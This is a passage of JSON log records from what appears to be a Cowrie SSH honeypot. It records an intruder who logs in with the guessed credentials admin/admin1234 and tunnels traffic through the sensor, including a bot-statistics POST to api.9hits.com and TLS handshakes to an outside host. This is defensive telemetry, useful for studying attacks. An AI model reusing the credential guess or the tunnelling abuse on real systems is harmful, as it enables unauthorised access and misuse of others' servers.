00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.843760Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.898595Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.279188Z","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.358778Z","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.622707Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1?\\xb4\\xbfB\\x91d4P(\\x95\\xe1l\\x00iQ<\\xf8\\x12\\xb7\\x0b\\x04>\\x95h\\xd9\\x9a\\xf8j\\xf5\\xc8\\x83 z2\\x88\\xb4X\\x1a\\xeb5\\xc1\\xd1\\x8bl\\x8b\\x97\\x90R\\x90\\x92\\x8fv\\xb7D}\\xb3\\xaa\\xe2K\\xb9\\xdfzI\\xf1\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\x94\\xe6ml#p\\xf1\\x9b@\\xcd5ML\\xb2\\xfe$\\xa6\\xd6y\\xdd\\xe7/\\x1bP\\x97\\xff\\xf0\\xaf\\xe3\\x0c\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1?\\xb4\\xbfB\\x91d4P(\\x95\\xe1l\\x00iQ<\\xf8\\x12\\xb7\\x0b\\x04>\\x95h\\xd9\\x9a\\xf8j\\xf5\\xc8\\x83 z2\\x88\\xb4X\\x1a\\xeb5\\xc1\\xd1\\x8bl\\x8b\\x97\\x90R\\x90\\x92\\x8fv\\xb7D}\\xb3\\xaa\\xe2K\\xb9\\xdfzI\\xf1\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a\\x94\\xe6ml#p\\xf1\\x9b@\\xcd5ML\\xb2\\xfe$\\xa6\\xd6y\\xdd\\xe7/\\x1bP\\x97\\xff\\xf0\\xaf\\xe3\\x0c\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.626608Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.865733Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ADT1012L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KipabTl1NzBKNVVxXiVnKw%3D%3DIbmvCqmPnJygGzlJki7y92BhDERYtXzeBi%2FITHQ4kLSBu5N9lDMQJFnN3TD5cQ9do8yTOFBBiv9u8LIImqAw5P2BbndRhWyvafAP0AlzFWSIEv5XeL6aOR0YPO0dvekmmHGyfDK8pGVQXt%2FWVniwQtPLSUDUG0tBrFMb6A5GrjGClmcP%2FaWktkUKJIYaxuPP69K95K0LhPssz1xtvsWYLjhqfOKOxmZIlZ2udStF3%2Fk1eIic69%2Fn4dOv1YFvGbWorhvUMKgGZIWIuPtb69c4Gy2CGREPFBCvImLDZvwzCwHNSHSmSVKIqbNZOeLIMUSr6ABs2Eb3gE1hEKkv1B8Xg2IZQxwxNmqY0Q%2FMDaIdUBsEo4a3yvhkq%2BWFXNQKJVKRGFWT6ByHSwf1UnvnPA9zaQe8cRNNcDeywkW2UoSR8Pimc%2FqYGVdY59n8AKgPufscupJM80OHWeSQ023HX3jNSvo53FIHrUvREz%2BgLOxlQW3zrVxBcVa36nUxqsQ7T0tfp5GTlVMmNqSl%2Bt2IxLKmS4sxmftTCrVs2DkHoAUbYkTgTnlLtO6yDQzObTtkLvux8ivXM1mz9dpqqUe8DlGHzQ9ljGIVbOTi1R6UnlbWUK41PqQAZnfp85r9xc1KNLJpSctgYMmk3%2BGrkqGuiiBJ97xiiUrkCeJOzS84KYUoTlWyDYXtKVAPgVFuiWY26%2BbseX5DC%2BtQSBMPa5xmX%2BFoI5y7LB80FZ6QPEgBWo1no7k0PAU%2BrCoQU5%2FE%2FhF1Kzi5vv8%2FgbjUyscrKUC9%2BBBjofFFCQ5hV%2FKI51i4mUwdUvw4Uv8mkCP5GLdSqbC%2FqYyadm%2B1MLbnxVNs2im3RW7cp2VbXhfQT%2FZkYIWBHPyCpuLcU5ye52JAj%2BAUkja1oXl9ha0OIRgjzCxh0qtLqIYJejkFYZfh%2FY5R2PGjbY2dRi0KAs7Q0cdTXCJYjLsLHtTeBIF%2FiofiZqug5fra0babtilo1O8mX0rCu2wP%2BNirs0KCgN4nvpFsYo1Ss%2BMDV4grD%2BbrEiuoGRbZbgU7XkLXt9YZpSRWFgs9KY6HrPsVI4VWB6enpeXIp%2BbOBmDGq5gR'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ADT1012L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KipabTl1NzBKNVVxXiVnKw%3D%3DIbmvCqmPnJygGzlJki7y92BhDERYtXzeBi%2FITHQ4kLSBu5N9lDMQJFnN3TD5cQ9do8yTOFBBiv9u8LIImqAw5P2BbndRhWyvafAP0AlzFWSIEv5XeL6aOR0YPO0dvekmmHGyfDK8pGVQXt%2FWVniwQtPLSUDUG0tBrFMb6A5GrjGClmcP%2FaWktkUKJIYaxuPP69K95K0LhPssz1xtvsWYLjhqfOKOxmZIlZ2udStF3%2Fk1eIic69%2Fn4dOv1YFvGbWorhvUMKgGZIWIuPtb69c4Gy2CGREPFBCvImLDZvwzCwHNSHSmSVKIqbNZOeLIMUSr6ABs2Eb3gE1hEKkv1B8Xg2IZQxwxNmqY0Q%2FMDaIdUBsEo4a3yvhkq%2BWFXNQKJVKRGFWT6ByHSwf1UnvnPA9zaQe8cRNNcDeywkW2UoSR8Pimc%2FqYGVdY59n8AKgPufscupJM80OHWeSQ023HX3jNSvo53FIHrUvREz%2BgLOxlQW3zrVxBcVa36nUxqsQ7T0tfp5GTlVMmNqSl%2Bt2IxLKmS4sxmftTCrVs2DkHoAUbYkTgTnlLtO6yDQzObTtkLvux8ivXM1mz9dpqqUe8DlGHzQ9ljGIVbOTi1R6UnlbWUK41PqQAZnfp85r9xc1KNLJpSctgYMmk3%2BGrkqGuiiBJ97xiiUrkCeJOzS84KYUoTlWyDYXtKVAPgVFuiWY26%2BbseX5DC%2BtQSBMPa5xmX%2BFoI5y7LB80FZ6QPEgBWo1no7k0PAU%2BrCoQU5%2FE%2FhF1Kzi5vv8%2FgbjUyscrKUC9%2BBBjofFFCQ5hV%2FKI51i4mUwdUvw4Uv8mkCP5GLdSqbC%2FqYyadm%2B1MLbnxVNs2im3RW7cp2VbXhfQT%2FZkYIWBHPyCpuLcU5ye52JAj%2BAUkja1oXl9ha0OIRgjzCxh0qtLqIYJejkFYZfh%2FY5R2PGjbY2dRi0KAs7Q0cdTXCJYjLsLHtTeBIF%2FiofiZqug5fra0babtilo1O8mX0rCu2wP%2BNirs0KCgN4nvpFsYo1Ss%2BMDV4grD%2BbrEiuoGRbZbgU7XkLXt9YZpSRWFgs9KY6HrPsVI4VWB6enpeXIp%2BbOBmDGq5gR'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.868633Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:29.871633Z","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.051013Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.136926Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xb7,\\xbc\\xa6f\\xa58\\x1da+\\x04\\x05\\xb5\\x19D\\xc1In,\\x9ep\\xc0X|\\xb2\\xde\\xf0\\xf8\\x8b\\xa6\\xeb \\xfbT\\x95c\\xd5\\xa7\\xb0<\\x03\\xc3\\x0cd\\x1b\\r^y\\xc0\\xb7\\x07\\x9f$J\\xf0f\\xd6\\xc2\\x9b&\\xa3b5\\x9c\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xb8\\xf7^_q%\\xa3}c\\x8c\\xc3\\xc5 \\xdf\\xa5~fj\\x87\\xc1\\x1an\\x8a\\xf3\\x88\\xe65=\\x87\\xf7T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xb7,\\xbc\\xa6f\\xa58\\x1da+\\x04\\x05\\xb5\\x19D\\xc1In,\\x9ep\\xc0X|\\xb2\\xde\\xf0\\xf8\\x8b\\xa6\\xeb \\xfbT\\x95c\\xd5\\xa7\\xb0<\\x03\\xc3\\x0cd\\x1b\\r^y\\xc0\\xb7\\x07\\x9f$J\\xf0f\\xd6\\xc2\\x9b&\\xa3b5\\x9c\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\xb8\\xf7^_q%\\xa3}c\\x8c\\xc3\\xc5 \\xdf\\xa5~fj\\x87\\xc1\\x1an\\x8a\\xf3\\x88\\xe65=\\x87\\xf7T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.141369Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.409521Z","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:30.674968Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Ud\\xc1;Ow[\\xb2)\\xdc:\\xec\\xc6~\\x80~\\xc7\\x98\\x85\\xa1\\x8f\\n\\xca\\xdf\\x17\\xef\\xc0\\x1e\\x98\\xd7Y\\xf5 \\x02m_\\xfad\\xea\\xc4\\xb9#W\\xd5\\xa4\\xf7_\\x9b\\xcf\\xd8S\\xe1\\x8a\\xabo\\x0e\\x82F\\x1c\\xa1]3\\xdb\\xe5\\x83\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 